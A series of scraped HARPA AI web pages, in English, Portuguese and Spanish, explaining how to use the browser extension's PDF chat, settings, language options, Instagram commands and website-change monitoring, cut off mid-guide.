SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to upload PDF to HARPA AI [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/education/book-open-01.svg) How to upload PDF to HARPA AI ============================= OUTLINE NAVIGATE HARPA AI works with PDF files hosted online. It can not access files on your local computer yet. You can upload PDFs to cloud storage services like Google Drive or Dropbox, receive them by email, or open PDF files from websites like [arxiv.org](http://arxiv.org/) . ![](https://harpa.ai/img/blog/how-upload-PDF-to-HARPA-1.webp) Future HARPA AI version will include a file manager that lets you upload and work with PDFs files. ### [\#](https://harpa.ai/blog/how-to-upload-pdf-to-harpa-ai#how-to-talk-with-pdfs-in-harpa-ai) How to Talk with PDFs in HARPA AI 1. Once you open an online PDF, launch HARPA AI, click the 3-dot menu in the bottom left corner and enable **Page-Aware mode**. ![](https://harpa.ai/img/blog/how-upload-PDF-to-HARPA-2.webp) 2. Ask your question in the chat. LLM will analyze the PDF context and provide an answer. ![](https://harpa.ai/img/blog/how-upload-PDF-to-HARPA-3.webp) You can also use built-in Page-aware AI Commands like Summary, Ask, and Repurpose text - depending on your needs. ![](https://harpa.ai/img/blog/how-upload-PDF-to-HARPA-4.webp) ![icon](https://harpa.ai/icon/lines/education/atom-02.svg) HARPA cannot read text from unprocessed scanned documents. For such cases, use the AI Vision feature by pressing Alt+V - screenshot that part of the page, and ask your question. The AI will recognize the text for you. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-use-harpa-ai-for-free) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-change-harpa-ai-language-setting) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Como usar HARPA AI [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/google-chrome.svg) Como usar HARPA AI ================== OUTLINE NAVIGATE HARPA AI é um assistente de IA versátil repleto de recursos poderosos para aumentar a produtividade. Aqui você encontra tudo que precisa para começar. Assista a este vídeo de 2 minutos que explica todos os elementos de controle principais do HARPA AI: [\#](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese#conex%C3%B5es-do-harpa-ai) Conexões do HARPA AI ---------------------------------------------------------------------------------------------------------- HARPA lê e extrai o conteúdo da página web, enviando-o para a IA, tornando as respostas da IA conscientes da página. HARPA traz um conjunto de Large Language Models para cada página web: 1. [CloudGPT](https://harpa.ai/blog/cloud-gpt-connection) – nossa conexão rápida e confiável, que suporta os modelos mais recentes do OpenAI e do Claude AI. 2. Conexão de sessão web: [ChatGPT](https://harpa.ai/blog/chatgpt-web-session) , [Claude AI](https://harpa.ai/blog/claude-ai-connection) e [Google Gemini](https://harpa.ai/blog/google-bard-connection) . Estes são gratuitos por padrão, mas exigem que você esteja logado nos respectivos serviços web e podem ter limites de uso ou necessitar de assinaturas separadas. 3. Conexões API – permitem que você Bring Your Own Keys. Suporta as chaves API de [OpenAI](https://harpa.ai/blog/how-to-get-an-openai-api-key) e [OpenRouter](https://harpa.ai/blog/openrouter-connection-in-harpa-ai) . Suporte para Straico em breve. 4. [Local LLMs](https://harpa.ai/blog/connecting-harpa-ollama-local-llms) – Economize executando modelos de IA no seu computador. Use [Ollama](https://ollama.com/) para rodar Llama 3.3, Phi 3, Mistral, Gemma 2 e outros modelos. Para alterar a conexão ativa, clique no AI model switch. [\#](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese#aba-configura%C3%A7%C3%B5es-do-harpa-ai) Aba Configurações do HARPA AI --------------------------------------------------------------------------------------------------------------------------------- A aba Settings do HARPA permite configurar o prompt do sistema e as instruções de tom para a IA, editar atalhos e personalizar a UI. Você pode: 1. Configurar suas informações de usuário e preferências de tom de voz. Por exemplo: Eu sou Alex do HARPA AI. Eu assino meus emails com: Cheers, Alex @ HARPA AI Team e mantenho minha escrita concisa e objetiva, respeitando o tempo e a atenção do leitor. Meu tom é profissional e cortês, como se estivesse conversando com um colega. Evito afirmações vagas ou gerais, focando na mensagem principal. Digo "Hey" se não sei o nome de alguém; caso contrário, uso o nome na saudação.) – estas configurações são aplicadas automaticamente na geração de respostas e emails, oferecendo um ponto central para controlar seu tom de voz em todos os comandos. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-1.webp) 2. Ativar o modo de chat único (para ter um chat único em todas as abas), fixar o seletor de conexão de IA no topo do chat e definir o idioma das respostas da IA. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-2.webp) 3. Ativar o Cloud Storage para o histórico de chat, mantendo suas conversas sincronizadas em todos os navegadores e dispositivos onde você usa sua conta HARPA AI. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-3.webp) [\#](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese#harpa-ai-em-modo-sidebar) HARPA AI em Modo Sidebar ------------------------------------------------------------------------------------------------------------- Clique no botão display mode ao lado de settings para escolher como visualizar o HARPA AI. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-4.webp) Você pode: * Usar o modo de tela cheia * Usar o modo sidebar * Ajustar manualmente o tamanho da janela ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-5.webp) [\#](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese#cloudgpt-e-como-controlar-seu-uso) CloudGPT e como controlar seu uso ------------------------------------------------------------------------------------------------------------------------------- Cloud GPT é nossa conexão premium. Ele tem menos tempo de inatividade, não é restrito por país e vem com um conjunto de agentes de IA que executam automaticamente os modos page-aware, web-aware e command. Você é cobrado com base no uso, medido em milhões de tokens de IA (Megatokens), que [podem ser adquiridos](https://harpa.ai/pricing) independentemente do seu plano de assinatura. Usuários do plano S recebem Megatokens como parte do pacote em cada ciclo de faturamento. 1 Megatoken (MT) equivale a 1 milhão de tokens de entrada do GPT-4o-mini, aproximadamente 750.000 palavras de texto em inglês. Os tokens de saída do GPT-4o-mini custam 3 vezes os tokens de entrada. Os custos precisos de tokens para cada LLM são exibidos na lista de conexões como um multiplicador da taxa base (tokens de entrada do GPT-4o-mini). Os preços seguem os estabelecidos pelos operadores – OpenAI ou Claude. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-6.webp) Em média, 1 MT fornece: ~ 150 resumos do YouTube (vídeos de 15 minutos) utilizando o GPT-4o-mini. ~ 50 solicitações ao GPT-4o-mini ou GPT-4o Vision ~ 3.000 solicitações básicas de chat utilizando o modelo GPT-4o-mini ~ 300 solicitações de chat page-aware utilizando o modelo GPT-4o-mini Modelos GPT-4o ou Sonnet utilizam 10 vezes mais tokens. Verifique os tokens de entrada e saída das suas solicitações de chat passando o mouse sobre o ícone de estrela abaixo da mensagem para ver detalhes. ![](https://harpa.ai/img/guides/cloudgpt-3.webp) O histórico de uso pode ser verificado no seu [space profile](https://harpa.ai/account) no HARPA AI. ![](https://harpa.ai/img/guides/cloudgpt-4.webp) Isso pode ser útil para equipes e organizações (Spaces), onde o saldo dos Megatokens é compartilhado, monitorado e pago pelo proprietário do espaço. [\#](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese#modo-page-aware-do-harpa-ai) Modo Page-Aware do HARPA AI ------------------------------------------------------------------------------------------------------------------- Para acessar o Main Menu, clique no botão de três pontos. Você pode limpar, reiniciar seu chat ou redefinir o histórico do chat. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-7.webp) Ative o modo page-aware pelo mesmo menu para permitir que HARPA leia o conteúdo da página web aberta. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-8.webp) [\#](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese#comandos-integrados-de-ia-(commands)) Comandos Integrados de IA (Commands) ------------------------------------------------------------------------------------------------------------------------------------- HARPA vem com mais de 100 [prebuilt AI commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) . 1. Abra o HARPA AI e você verá sugestões de comandos específicos para a página. 2. Comece a digitar uma palavra-chave ou o nome de um comando, e o HARPA sugerirá comandos padrão ou personalizados no menu de sugestões. 3. Para exibir a lista de comandos, pressione o botão **\[/\]** ou digite **/** no chat. Os comandos e prompts do ChatGPT são classificados por popularidade e organizados por categorias: ![](https://harpa.ai/img/guides/chatgpt-prompts-2.webp) [\#](https://harpa.ai/blog/how-to-use-harpa-ai-portuguese#aba-hist%C3%B3rico-de-chats-do-harpa-ai) Aba Histórico de Chats do HARPA AI -------------------------------------------------------------------------------------------------------------------------------------- Clique no ícone do seu perfil para acessar as configurações da sua conta e o histórico de chats. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-9.webp) Você pode: * Alternar entre workspaces e verificar o saldo dos seus tokens de IA, ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-10.webp) * Navegar pela sua lista de chats: pesquisar, fixar, excluir conversas ou exportar os dados do chat. ![](https://harpa.ai/img/blog/how-to-use-harpa-ai-11.webp) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/wordpress-1-click-post-draft-italian) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-change-harpa-ai-language-portuguese) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Instagram [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/instagram.svg) ChatGPT for Instagram ===================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-instagram#chatgpt-for-instagram)  ChatGPT for Instagram --------------------------------------------------------------------------------------------- HARPA.AI is a Chrome Extension that integrates ChatGPT into your Browser and can be used with Instagram, providing a range of tools and features to help businesses and individuals maximize their social media presence. Here are some of the things that HARPA.AI can do for you on Instagram website: ![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/instagram.svg) Social posts generator Creates social media posts for articles, blog posts or webpage content. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg) Instagram Wizard Generate Instagram content ideas, carousels, reels, and post captions [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/instagram.svg) Ads hook generator Generate ad hooks / angles for anything you're promoting. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/twitter.svg)![](https://harpa.ai/img/apps/facebook.svg) Social bio section generator Helps you create a catchy bio for any social website, Instagram, Twitter, LinkedIn etc. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/linkedin.svg)![](https://harpa.ai/img/apps/tiktok.svg) Hashtag generator Create up to 30 social media Hashtags. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Influencer outreach DM Write cold outreach DMs to help you sign influencer campaigns. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg)![](https://harpa.ai/img/apps/facebook.svg)![](https://harpa.ai/img/apps/twitter.svg) Social media content ideas Generate a list of 10 engaging post ideas that are tailored to the interests of your target audience, increase engagement and drive traffic. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/youtube.svg)![](https://harpa.ai/img/apps/instagram.svg)![](https://harpa.ai/img/apps/tiktok.svg) Video script writer Write a script for a video idea or topic. Best for YouTube, Instagram & TikTok. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/apps/instagram.svg) Midjourney prompt wizard Creates prompts for professionally looking Midjourney images. Comes with pre-built templates. [USE COMMAND](https://get.harpa.ai/) ### [##](https://harpa.ai/case/chatgpt-for-instagram#how-to-use-chatgpt-with-instagram)  How to Use ChatGPT with Instagram To use ChatGPT with Instagram, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the Instagram website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/instagram** to HARPA chat to bring a list of ChatGPT prompts for Instagram. ### [##](https://harpa.ai/case/chatgpt-for-instagram#use-case-scenarios)  Use Case Scenarios HARPA.AI offers a suite of features that can help businesses and individuals maximize their social media presence on Instagram. Whether you are looking to create captions, hashtags, videos, or content ideas, this technology has something for everyone: * **Instagram post caption generator** is a key feature that can create three captions with hashtags in seconds, written by ChatGPT to be engaging and drive engagement. * **Instagram hashtag generator** creates up to 30 relevant and popular hashtags to increase visibility and reach the target audience. * **Video script writer** can create engaging and high-quality video content for YouTube, Instagram, and TikTok. * **Influencer outreach DM** and **Social media content ideas** generator can also help businesses and individuals grow their following and increase engagement. * **Instagram Midjourney prompt** and **Instagram ads hook** generators provide additional tools for creating content and promoting products on Instagram. Get started with HARPA.AI today and take your Instagram presence to the next level. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Cómo cambiar el idioma de HARPA AI. [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/maps/globe-02.svg) Cómo cambiar el idioma de HARPA AI. =================================== OUTLINE NAVIGATE [\#](https://harpa.ai/blog/how-to-change-harpa-ai-language-spanish#c%C3%B3mo-cambiar-el-idioma-de-respuesta-de-la-ia) Cómo cambiar el idioma de respuesta de la IA ------------------------------------------------------------------------------------------------------------------------------------------------------------------- Tanto el idioma de respuesta de la AI como el idioma de la interfaz se pueden cambiar en los ajustes de HARPA AI, en la parte superior de la lista de configuración. ![](https://harpa.ai/img/chatml/trouble-lang.webp) 1. Abre los ajustes de HARPA AI. 2. Haz clic en la lista desplegable y selecciona un idioma. Si tu idioma de respuesta de la AI no aparece en la lista, o deseas que la AI utilice múltiples idiomas: * Selecciona la opción '**Custom**'. * Ingresa tu idioma no listado. [\#](https://harpa.ai/blog/how-to-change-harpa-ai-language-spanish#c%C3%B3mo-a%C3%B1adir-un-bot%C3%B3n-de-traducci%C3%B3n-a-cualquier-comando) Cómo añadir un botón de traducción a cualquier comando ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ![](https://harpa.ai/img/blog/how-to-change-language-8.webp) 1. Selecciona un comando al que te gustaría agregar un botón de traducción. 2. Haz clic en "**Duplicate and Edit**". ![](https://harpa.ai/img/blog/how-to-change-language-3.webp) 3. Agrega un paso ASK después de un paso GPT en el comando duplicado. ![](https://harpa.ai/img/blog/how-to-change-language-4.webp) 4. En el paso ASK, agrega una nueva opción: "Translate to Spanish". Puedes añadir un emoji para destacarla. - label: 🇪🇸 TRANSLATE TO SPANISH value: translate ![](https://harpa.ai/img/blog/how-to-change-language-5.webp) 5. Agrega un nuevo paso GPT, y configura su condición para que coincida con el valor de la opción de traducción seleccionado en el paso ASK. En nuestro ejemplo, esto es: **{{change}} = translate**. Escribe un prompt corto pidiendo traducir la respuesta anterior al español. ![](https://harpa.ai/img/blog/how-to-change-language-6.webp) 6. Guarda y ejecuta el comando. Ahora tendrás una nueva opción "**Translate to Spanish**". Haz clic en ella para traducir la respuesta de la AI. ![](https://harpa.ai/img/blog/how-to-change-language-7.webp) Algunos comandos ya incluyen pasos ASK para realizar cambios en las respuestas generadas por la AI. Por ejemplo, este es el comando "Reply": ![](https://harpa.ai/img/blog/how-to-change-language-9.webp) Aquí solo necesitas agregar una opción extra al paso ASK con un valor de opción que contenga el siguiente prompt: "Please translate your last response into Spanish while keeping the text structure, markdown features and other characteristics. Do not add any comments or general phrases before or after the translation." ![](https://harpa.ai/img/blog/how-to-change-language-10.webp) El valor de la opción se pasa al parámetro {{change}}, y es utilizado por el siguiente paso GPT, donde la AI realiza la acción especificada en dicho valor. ![](https://harpa.ai/img/blog/how-to-change-language-11.webp) No dudes en compartir tus comandos editados en la Automation Library - [aquí se explica cómo](https://harpa.ai/guides/command-library) . [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-use-harpa-ai-spanish) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/no-cost-wordpress-automation-spanish) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Product Development [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/cases/engineering.svg) ChatGPT for Product Development =============================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-engineering#chatgpt-for-product-development)  ChatGPT for Product Development ------------------------------------------------------------------------------------------------------------------- HARPA.AI integrates **page-aware ChatGPT commands** into your web browser: * Write and inspect code * Get answers to Stackoverflow questions with AI * Rewrite code between languages and stacks ![](https://harpa.ai/img/apps/stackoverflow-dark.svg) Coding Assistant Ask any question about JavaScript, Git, HTML, MySQL, PHP, Python, Docker, etc. Write, inspect, debug code. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/engineering.svg) Trip planner Get a personalized day-by-day itinerary for your vacation including 24/7 schedule, activity and budget. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/engineering.svg) Checklist helper Helps with ideas for creating checklists on a given topic. [USE COMMAND](https://get.harpa.ai/) ![](https://harpa.ai/img/cases/engineering.svg) OKR business planner Writes an Objectives and Key Results (OKRs) business plan. [USE COMMAND](https://get.harpa.ai/) GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Monitor Website Changes: Best Chrome Extensions, Free Tools & Notifications (2026 Guide) [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/eye-off.svg) Monitor Website Changes: Best Chrome Extensions, Free Tools & Notifications (2026 Guide) ======================================================================================== OUTLINE NAVIGATE ![](https://harpa.ai/img/blog/monitor-website-changes-1.webp) Want to stay ahead without constantly refreshing tabs? Learning how to **monitor website changes** is essential for digital marketers tracking competitor updates, e-commerce sellers watching Amazon prices, or researchers spotting new content. Top tools like Visualping, Distill Web Monitor, Changedetection.io, and HARPA AI make website change monitoring effortless with notifications for web page monitoring, price drops, and content shifts. This 2026 guide covers the best Chrome extensions, free options, Reddit alerts, and step-by-step setups—no more manual checks. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#why-you-need-to-monitor-website-changes) Why You Need to Monitor Website Changes --------------------------------------------------------------------------------------------------------------------------------------------------------------------- Imagine spotting a competitor's new SEO strategy before it ranks higher, or getting instant Amazon price drop alerts to adjust your listings. For academic researchers or sales reps, **website change monitoring** delivers competitive intelligence without endless browsing. These tools detect visual, text, or code updates on any site, sending email, SMS, or browser alerts. Visualping leads with 4.4/5 stars from 7.3K ratings and 100K+ users, while Distill excels in granular tracking—perfect for stock alerts or blog refreshes. Benefits include saving hours on competitor tracking, automating price monitoring on AliExpress/Walmart, and building topic authority faster. Whether you're a no-code automator or an HR recruiter scanning LinkedIn, **web page monitoring** boosts productivity. Free tiers make it accessible, but AI-powered options like HARPA AI add automation depth for ultimate efficiency. ![](https://harpa.ai/img/blog/monitor-website-changes-2.webp) [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#top-chrome-extensions-to-monitor-website-changes-free) Top Chrome Extensions to Monitor Website Changes Free ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Chrome extensions dominate for easy, local **website change monitoring**—no servers needed. Here's the top lineup based on ratings, users, and features: * **Visualping** (4.4/5 stars, 7.3K ratings, 100K+ users): Free tier for 5 pages with 62-150 checks/month; visual/text detection via screenshots. * **Distill Web Monitor**: Granular CSS/XPath tracking, free for 25 local monitors/1K checks; login support for secure sites. * **Changedetection.io** (3.9/5 stars, 8K users): Open-source with unlimited self-hosting; restock/price modes. These **monitor website changes free** options are ideal for web monitoring setups without paywalls. ![](https://harpa.ai/img/blog/monitor-website-changes-3.webp) ### [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#visualping:-best-for-visual-and-text-change-detection) Visualping: Best for Visual and Text Change Detection Visualping tops rankings for website update notifications. Select screen areas for visual changes or text/code diffs, with email/SMS alerts. Free browser monitoring requires your PC on; server tier adds 62-150 checks/month. Praised for competitor tracking, it's simple for quick setups. ### [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#distill-web-monitor:-granular-element-tracking) Distill Web Monitor: Granular Element Tracking Distill shines for precise element-level monitoring using CSS/XPath selectors—perfect for prices or buttons. Reddit loves it for stock alerts. Free: 25 local/5 cloud monitors, 1K checks, 30-min intervals, SMS/email support, login pages. Paid starts at $12-15/month for more. ### [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#changedetection.io:-open-source-website-change-detection) Changedetection.io: Open-Source Website Change Detection Go unlimited with Changedetection.io's self-hosted dashboard (free) or Chrome extension. Features visual selectors, browser steps (login/clicks), restock/price modes, 85+ notifications. Cloud from $8.99/month. GitHub-backed alternative to pricier tools. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#harpa-ai:-ai-powered-website-monitoring-and-automation) HARPA AI: AI-Powered Website Monitoring and Automation --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- HARPA AI integrates **website monitoring** into an AI-powered browser extension. Press **Alt+A** (Windows) or **^+A** (Mac) on any page and switch to the **AUTOMATE** tab to start tracking prices, stock levels, or page content changes. **How to set up a monitor:** 1. Navigate to any webpage — a product page, a competitor's site, a job listing. 2. Open HARPA AI and switch to the **AUTOMATE** tab. 3. HARPA detects trackable items on the page. Click the element you want to monitor — a price, a text block, or select **page text changes** for full-page tracking. ![](https://harpa.ai/img/guides/monitor-1.webp) 4. Click **START** — HARPA will periodically refresh the page in the background and send you a browser notification whenever the monitored element changes. ![](https://harpa.ai/img/guides/monitor-2.webp) **Customization options**: Fine-tune schedule intervals (from 15 seconds to once a month), triggers (price drop, text appears/disappears, content update), and actions (notification, email, sound, webhook, Make.com integration). By combining triggers and actions, you can get an email whenever a price drops while pushing data to Google Sheets on every monitor run. **Back in stock alerts**: Click the **ELEMENT** button during setup, then click any text on the page (e.g. "Out of stock"). HARPA will monitor for that element to disappear and notify you when the product is available again. ![](https://harpa.ai/img/guides/monitor-5.webp) **Automations Dashboard**: View and manage all your monitors from one place. Click the HARPA AI icon on a blank browser page or press the **HOME** button in the interface. ![](https://harpa.ai/img/guides/monitor-7.webp) Unlike basic extensions, HARPA runs locally in your browser — your data never leaves your machine. See the [price monitoring guide](https://harpa.ai/guides/monitor-price-drops) and [competitor tracking guide](https://harpa.ai/guides/track-competitors) for more. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#saas-tools-for-advanced-web-monitoring) SaaS Tools for Advanced Web Monitoring ------------------------------------------------------------------------------------------------------------------------------------------------------------------- For scalable needs, SaaS platforms offer analytics beyond basic Chrome extensions: * **UptimeRobot**: Free 50 monitors, keyword/visual/SSL checks; paid $7-8/month with SMS/Slack. * **Hexowatch** (4.7/5 G2): AI visual/HTML/tech stack monitoring, $24.17/month. * **ChangeTower**: Version history, free tier, $9/month enterprise alerts. * **ContentKing/SE Ranking**: SEO meta/content changes, $39+/month real-time Slack/email. G2 ranks Visualping/Hexowatch highest in **website change monitoring**. Great for free starters scaling up. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#free-vs-paid-website-change-monitors:-pros-and-cons) Free vs Paid Website Change Monitors: Pros and Cons --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- **Free leaders** excel for basics: * Changedetection.io: Unlimited self-host, no limits. * Distill: 25 local monitors, login support. * Visualping: 5 pages, easy visuals. * UptimeRobot: 50 monitors. **Paid options** unlock scale: HARPA AI plans, Visualping $10-50/month, enterprise tools. Free suits testing, paid for serious e-commerce or marketing use. [\#](https://harpa.ai/blog/monitor-website-changes-best-tools-and-chrome-extensions#how-to-monitor-a-website-for-changes:-step-by-step) How to Monitor a Website for Changes: Step-by-Step ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Here's a quick setup with 